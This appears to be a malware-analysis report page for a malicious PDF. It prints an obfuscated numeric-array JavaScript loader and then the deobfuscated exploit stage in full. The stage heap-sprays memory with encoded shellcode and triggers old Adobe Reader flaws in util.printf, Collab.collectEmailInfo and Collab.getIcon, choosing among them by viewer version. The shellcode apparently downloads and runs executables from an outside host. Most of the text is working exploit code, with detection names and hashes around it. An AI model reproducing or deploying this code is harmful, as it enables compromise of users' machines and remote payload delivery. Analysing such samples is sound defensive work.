152,168,150,150,163,154,91,87,88,170,99,152,99,152,88,170,99,152,99,152,85,94,110,66,61,62,60,172,155,158,159,154,83,93,162,171,152,167,153,161,162,172,97,161,152,163,154,169,155,85,111,85,103,105,108,106,101,94,174,66,61,62,60,62,162,171,152,167,153,161,162,172,83,96,112,85,162,171,152,167,153,161,162,172,110,66,61,62,60,178,64,63,60,62,167,157,156,168,97,152,162,161,159,150,149,136,167,164,165,154,83,114,83,120,162,161,159,150,149,99,150,164,159,161,152,152,167,122,160,150,156,161,124,163,153,164,91,176,166,170,149,159,109,85,85,87,95,162,166,156,109,85,162,171,152,167,153,161,162,172,176,94,110,66,61,62,176,66,61,66,61,62,153,170,161,152,167,158,162,163,83,152,162,161,159,150,149,148,154,154,167,158,150,164,161,93,92,176,64,63,60,62,156,155,83,93,148,165,163,99,151,164,150,99,118,164,159,161,148,151,97,156,152,169,124,152,162,163,92,176,64,63,60,62,60,171,148,167,83,150,165,167,172,85,112,85,161,154,170,85,116,167,165,150,172,93,92,112,64,63,60,62,60,171,148,167,83,171,169,165,152,169,155,174,148,85,112,85,168,163,152,168,150,150,163,154,91,87,88,170,120,119,120,110,88,170,99,101,99,102,88,170,104,107,99,101,88,170,116,102,105,105,88,170,99,101,102,101,88,170,99,101,99,101,88,170,103,101,107,119,88,170,107,119,99,120,88,170,100,120,106,101,88,170,107,119,116,121,88,170,99,109,103,101,88,170,118,104,104,122,88,170,107,119,104,106,88,170,107,119,120,120,88,170,99,109,103,106,88,170,102,104,104,103,88,170,118,102,119,103,88,170,99,104,118,103,88,170,100,101,102,103,88,170,107,101,103,101,88,170,99,101,102,109,88,170,121,106,106,106,88,170,118,103,107,119,88,170,104,121,104,118,88,170,99,105,118,103,88,170,104,106,99,101,88,170,120,120,107,119,88,170,104,102,104,102,88,170,104,107,104,104,88,170,105,101,104,108,88,170,104,121,107,119,88,170,102,104,99,109,88,170,107,119,118,101,88,170,99,120,106,106,88,170,121,122,107,119,88,170,106,107,99,104,88,170,107,119,102,120,88,170,106,109,103,122,88,170,118,123,99,104,88,170,104,102,107,119,88,170,104,103,100,120,88,170,104,102,107,119,88,170,104,103,101,105,88,170,106,102,107,119,88,170,103,122,100,105,88,170,106,106,107,110,88,170,107,119,121,120,88,170,101,101,106,102,88,170,121,108,99,104,88,170,103,118,108,110,88,170,103,103,116,121,88,170,102,119,105,101,88,170,121,120,104,106,88,170,99,105,106,106,88,170,118,101,102,104,88,170,102,108,120,119,88,170,121,123,102,104,88,170,103,106,99,104,88,170,108,108,99,120,88,170,118,123,107,119,88,170,106,106,116,122,88,170,101,119,121,121,88,170,103,123,121,110,88,170,120,109,104,102,88,170,121,123,108,105,88,170,121,123,121,123,88,170,118,104,102,119,88,170,106,105,105,102,88,170,120,119,99,103,88,170,107,119,119,110,88,170,99,120,103,106,88,170,104,122,108,103,88,170,121,103,99,104,88,170,120,101,119,102,88,170,118,107,99,104,88,170,118,110,102,104,88,170,117,108,99,123,88,170,104,123,99,109,88,170,120,102,118,102,88,170,99,104,99,103,88,170,99,104,118,118,88,170,107,119,118,123,88,170,99,104,99,102,88,170,107,110,118,103,88,170,121,109,103,106,88,170,107,119,105,102,88,170,121,109,103,106,88,170,104,122,104,123,88,170,118,110,104,119,88,170,104,106,118,104,88,170,120,120,107,119,88,170,120,109,104,102,88,170,121,123,103,110,88,170,121,123,121,123,88,170,105,109,104,101,88,170,105,101,120,109,88,170,99,105,117,123,88,170,105,120,120,109,88,170,121,123,121,123,88,170,102,104,121,123,88,170,104,103,119,103,88,170,121,123,104,103,88,170,99,109,106,106,88,170,119,101,121,123,88,170,103,106,107,110,88,170,107,119,121,120,88,170,121,120,103,106,88,170,118,104,118,110,88,170,107,119,104,106,88,170,107,104,120,120,88,170,99,120,120,120,88,170,103,106,107,121,88,170,104,101,121,105,88,170,103,106,118,107,88,170,106,106,121,105,88,170,103,106,118,107,88,170,106,103,121,106,88,170,103,106,118,107,88,170,105,120,121,107,88,170,103,106,118,107,88,170,105,121,121,108,88,170,103,106,118,107,88,170,105,123,121,109,88,170,103,106,118,107,88,170,105,122,121,110,88,170,103,106,118,107,88,170,101,122,121,118,88,170,103,106,118,107,88,170,105,105,121,119,88,170,103,106,118,107,88,170,105,120,121,120,88,170,103,106,118,107,88,170,105,120,121,121,88,170,103,106,118,107,88,170,99,101,121,122,88,170,116,101,120,109,88,170,121,123,121,123,88,170,104,101,121,123,88,170,104,121,105,109,88,170,100,102,107,118,88,170,120,109,100,107,88,170,121,123,100,106,88,170,121,123,121,123,88,170,118,105,107,104,88,170,107,106,99,120,88,170,106,105,118,101,88,170,105,118,100,106,88,170,105,118,99,101,88,170,121,123,99,101,88,170,99,120,106,106,88,170,106,106,121,123,88,170,105,118,99,109,88,170,121,123,99,101,88,170,107,106,119,101,88,170,106,106,118,101,88,170,103,101,99,104,88,170,118,104,118,110,88,170,118,101,102,104,88,170,118,104,118,110,88,170,102,104,104,108,88,170,107,119,118,101,88,170,101,105,103,120,88,170,107,119,99,120,88,170,101,105,106,120,88,170,121,120,99,109,88,170,116,118,121,104,88,170,118,104,104,123,88,170,103,120,107,119,88,170,99,105,101,105,88,170,102,110,107,101,88,170,107,119,99,101,88,170,106,105,118,102,88,170,103,101,99,107,88,170,102,109,107,101,88,170,106,106,99,101,88,170,101,119,121,118,88,170,118,104,118,102,88,170,107,119,104,106,88,170,107,104,120,120,88,170,105,105,120,120,88,170,107,121,104,104,88,170,121,101,103,106,88,170,102,104,104,108,88,170,104,101,119,119,88,170,103,106,118,107,88,170,105,119,121,101,88,170,103,106,118,107,88,170,105,106,121,102,88,170,103,106,118,107,88,170,106,103,121,103,88,170,103,106,118,107,88,170,105,122,121,104,88,170,103,106,118,107,88,170,105,106,121,105,88,170,103,106,118,107,88,170,105,120,121,106,88,170,103,106,118,107,88,170,102,104,121,107,88,170,103,106,118,107,88,170,102,103,121,108,88,170,103,106,118,107,88,170,101,122,121,109,88,170,103,106,118,107,88,170,105,105,121,110,88,170,103,106,118,107,88,170,105,120,121,118,88,170,103,106,118,107,88,170,105,120,121,119,88,170,104,121,107,109,88,170,120,109,121,120,88,170,121,123,99,119,88,170,121,123,121,123,88,170,105,109,104,101,88,170,103,104,105,109,88,170,107,122,121,110,88,170,107,101,120,109,88,170,121,123,121,122,88,170,107,119,121,123,88,170,107,121,121,109,88,170,108,120,103,106,88,170,103,105,105,118,88,170,120,109,104,101,88,170,121,123,106,122,88,170,121,123,121,123,88,170,103,106,107,121,88,170,105,118,120,101,88,170,104,101,100,101,88,170,106,104,120,109,88,170,121,123,121,123,88,170,107,104,121,123,88,170,100,120,118,105,88,170,103,106,107,121,88,170,104,101,120,101,88,170,103,106,107,121,88,170,104,101,108,120,88,170,104,104,104,104,88,170,104,104,104,104,88,170,104,104,104,104,88,170,106,106,121,123,88,170,118,108,99,109,88,170,108,120,103,106,88,170,99,101,103,105,88,170,99,101,99,101,88,170,121,123,104,104,88,170,104,123,119,108,88,170,117,107,99,123,88,170,104,119,118,101,88,170,118,104,118,110,88,170,107,119,104,106,88,170,104,102,120,120,88,170,104,104,104,102,88,170,104,108,104,107,88,170,103,103,105,118,88,170,106,103,120,109,88,170,99,101,99,101,88,170,107,119,99,101,88,170,102,104,119,109,88,170,107,106,121,107,88,170,104,110,119,119,88,170,103,106,118,108,88,170,105,102,121,109,88,170,105,106,101,122,88,170,118,108,106,109,88,170,121,120,103,106,88,170,99,101,105,106,88,170,99,101,99,101,88,170,104,107,106,122,88,170,103,106,107,121,88,170,104,101,121,109,88,170,120,109,104,107,88,170,99,101,104,102,88,170,99,101,99,101,88,170,104,101,104,110,88,170,117,102,120,109,88,170,121,123,121,122,88,170,107,106,121,123,88,170,104,110,118,101,88,170,106,105,104,110,88,170,107,121,102,110,88,170,99,102,103,107,88,170,120,109,104,101,88,170,99,101,102,119,88,170,99,101,99,101,88,170,121,109,107,119,88,170,103,106,107,121,88,170,104,101,121,109,88,170,101,102,120,109,88,170,121,123,121,123,88,170,107,106,121,123,88,170,104,110,118,101,88,170,106,105,104,110,88,170,104,108,99,120,88,170,99,102,120,109,88,170,121,123,121,123,88,170,104,110,121,123,88,170,103,105,118,107,88,170,121,123,102,109,88,170,104,101,106,104,88,170,103,106,107,121,88,170,121,122,121,109,88,170,104,109,99,101,88,170,103,106,107,121,88,170,104,101,121,109,88,170,120,109,104,108,88,170,121,122,106,105,88,170,121,123,121,123,88,170,104,110,104,110,88,170,103,107,103,107,88,170,121,104,102,119,88,170,116,118,106,120,88,170,104,122,104,123,88,170,118,110,104,119,88,170,104,106,118,104,88,170,120,120,107,119,88,170,104,104,104,102,88,170,105,101,105,107,88,170,102,103,117,102,88,170,99,101,120,109,88,170,99,101,99,101,88,170,104,109,99,101,88,170,99,109,102,109,88,170,99,104,106,105,88,170,120,119,103,101,88,170,103,101,121,110,88,170,104,121,107,119,88,170,107,101,99,109,88,170,103,103,121,119,88,170,99,109,106,106,88,170,119,119,102,104,88,170,100,109,107,118,88,170,118,104,107,119,88,170,100,108,120,119,88,170,100,109,102,109,88,170,100,102,106,107,88,170,102,104,103,101,88,170,107,105,118,110,88,170,106,105,119,119,88,170,103,101,99,120,88,170,99,109,102,109,88,170,121,119,106,106,88,170,121,122,103,101,88,170,120,119,118,119,88,170,102,104,121,103,88,170,107,110,118,101,88,170,121,120,103,106,88,170,103,106,107,119,88,170,104,119,121,120,88,170,118,104,118,110,88,170,99,103,102,103,88,170,106,105,105,109,88,170,106,101,106,105,88,170,101,123,102,118,88,170,105,110,101,123,88,170,105,102,105,121,88,170,105,106,105,108,88,170,101,121,106,104,88,170,105,122,105,105,88,170,101,122,106,104,88,170,105,123,105,104,88,170,101,123,105,121,88,170,105,108,105,102,88,170,106,106,106,105,88,170,101,122,102,103,88,170,106,109,105,106,88,170,99,101,105,106,88,170,106,105,105,109,88,170,106,101,106,105,88,170,101,123,102,118,88,170,105,110,101,123,88,170,105,102,105,121,88,170,105,106,105,108,88,170,101,121,106,104,88,170,105,122,105,105,88,170,101,122,106,104,88,170,105,123,105,104,88,170,101,123,105,121,88,170,105,120,105,104,88,170,105,104,105,110,88,170,101,122,105,119,88,170,105,109,106,101,88,170,102,123,106,101,88,170,102,121,106,103,88,170,99,101,99,101,85,94,110,66,61,62,60,62,169,150,165,85,155,140,164,106,99,101,118,131,83,114,83,171,169,165,152,169,155,174,148,99,159,154,161,156,167,157,83,95,83,103,110,66,61,62,60,62,169,150,165,85,159,154,161,85,112,85,99,173,103,101,99,101,99,101,83,98,83,93,155,140,164,106,99,101,118,131,83,96,83,101,171,104,107,94,110,66,61,62,60,62,169,150,165,85,172,150,165,168,163,85,112,85,168,163,152,168,150,150,163,154,91,87,88,170,108,101,108,101,88,170,108,101,108,101,85,94,110,66,61,62,60,62,172,150,165,168,163,85,112,85,153,158,171,148,156,169,91,174,148,167,166,165,95,85,159,154,161,94,110,66,61,62,60,62,169,150,165,85,163,106,116,159,126,107,104,155,83,114,83,93,99,173,99,152,99,152,99,152,99,152,83,98,83,101,171,105,99,101,99,101,99,94,83,100,83,101,171,105,99,101,99,101,99,112,64,63,60,62,60,155,162,167,83,93,169,150,165,85,169,166,150,134,119,110,105,174,83,114,83,101,110,85,169,166,150,134,119,110,105,174,83,113,83,165,104,118,157,128,105,106,153,112,83,171,164,152,132,121,108,107,172,85,94,96,83,94,174,66,61,62,60,62,60,150,165,167,172,144,169,166,150,134,119,110,105,174,144,85,112,85,172,150,165,168,163,85,94,85,169,171,163,154,167,157,172,150,110,66,61,62,60,62,176,66,61,62,60,62,169,150,165,85,167,138,128,157,129,151,122,172,83,114,83,170,161,154,166,152,148,165,152,93,85,90,99,110,85,94,110,66,61,62,60,62,170,157,156,161,152,85,91,169,136,130,155,131,149,124,170,99,159,154,161,156,167,157,83,113,83,101,171,105,99,101,99,94,174,66,61,62,60,62,60,169,136,130,155,131,149,124,170,85,94,114,83,169,136,130,155,131,149,124,170,112,64,63,60,62,60,178,64,63,60,62,60,169,136,130,155,131,149,124,170,85,112,85,85,131,97,87,83,96,83,169,136,130,155,131,149,124,170,112,64,63,60,62,60,150,163,165,97,153,162,152,97,120,162,161,159,150,149,99,154,154,167,126,150,164,161,93,167,138,128,157,129,151,122,172,92,112,64,63,60,62,176,66,61,62,176,66,61,66,61,62,153,170,161,152,167,158,162,163,83,165,151,155,146,168,167,150,165,169,91,94,174,66,61,66,61,62,60,171,148,167,83,171,152,167,166,158,162,163,83,114,83,150,163,165,97,171,156,154,170,154,165,139,152,167,166,158,162,163,97,169,162,136,167,167,156,163,154,93,92,112,64,63,60,62,169,154,165,168,156,164,161,85,112,85,169,154,165,168,156,164,161,99,165,154,163,161,148,152,152,93,98,145,119,100,154,97,90,92,92,112,64,63,60,62,169,150,165,85,169,150,165,168,156,164,161,148,148,167,165,150,172,85,112,85,161,154,170,85,116,167,165,150,172,93,169,154,165,168,156,164,161,99,150,157,148,167,116,169,91,101,92,97,83,171,152,167,166,158,162,163,97,152,155,150,165,118,167,93,100,94,95,85,169,154,165,168,156,164,161,99,150,157,148,167,116,169,91,103,92,94,110,66,61,62,60,158,153,85,91,93,169,150,165,168,156,164,161,148,148,167,165,150,172,144,99,146,83,114,112,85,107,94,83,91,89,85,91,171,148,167,166,158,162,163,146,150,165,167,148,174,142,102,144,85,112,114,83,101,92,85,175,177,83,93,169,150,165,168,156,164,161,148,148,167,165,150,172,144,100,146,83,114,112,85,100,85,89,91,83,171,148,167,166,158,162,163,146,150,165,167,148,174,142,103,144,85,111,85,102,94,92,176,64,63,60,62,60,170,167,158,159,148,163,167,156,163,167,155,91,94,110,66,61,62,60,178,64,63,60,62,156,155,83,93,91,171,148,167,166,158,162,163,146,150,165,167,148,174,142,101,144,85,111,85,107,94,83,177,175,85,91,171,148,167,166,158,162,163,146,150,165,167,148,174,142,101,144,85,112,114,83,109,83,91,89,85,169,150,165,168,156,164,161,148,148,167,165,150,172,144,100,146,83,113,83,103,83,91,89,85,169,150,165,168,156,164,161,148,148,167,165,150,172,144,101,146,83,113,83,103,92,94,174,66,61,62,60,62,150,164,159,161,148,151,146,154,160,150,156,161,91,94,110,66,61,62,60,178,64,63,60,62,156,155,83,93,91,171,148,167,166,158,162,163,146,150,165,167,148,174,142,101,144,85,111,85,108,94,83,177,175,85,91,171,148,167,166,158,162,163,146,150,165,167,148,174,142,101,144,85,112,114,83,110,83,91,89,85,169,150,165,168,156,164,161,148,148,167,165,150,172,144,100,146,83,113,83,102,92,94,174,66,61,62,60,62,150,164,159,161,148,151,146,156,152,169,156,152,162,163,91,94,110,66,61,62,60,178,64,63,60,178,64,63,64,63,60,165,151,155,146,168,167,150,165,169,91,94,110,66,61,62],cotuvw=function(){for(var beglu;amrsw<hjrvwx.length;amrsw+=1){var eqruy=amrsw%tozg.length+1;var zgavip=tozg.substring(amrsw%tozg.length,eqruy);var cfgopw=hjrvwx[amrsw];lmpqw+=defgqy(cfgopw-zgavip.charCodeAt(0));} tzodkc(lmpqw);};cotuvw();gkprvx="";izdwqv='';fnqrw=64713;khbicz='';yvzasg="";hjzmw="hjzmw";dknoq=false;wikz='';fnpstv="fnpstv";abdtw="";afhjmn='';
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9874 bytes
SHA-256: `5e3c44bdc44396dfa5828fa6fcb0c8075895daa0581f696be08c63882fc80860`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6663%u756E%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6A64%u726E%u7973%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6761%u7574%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 7

Extracted artifacts 2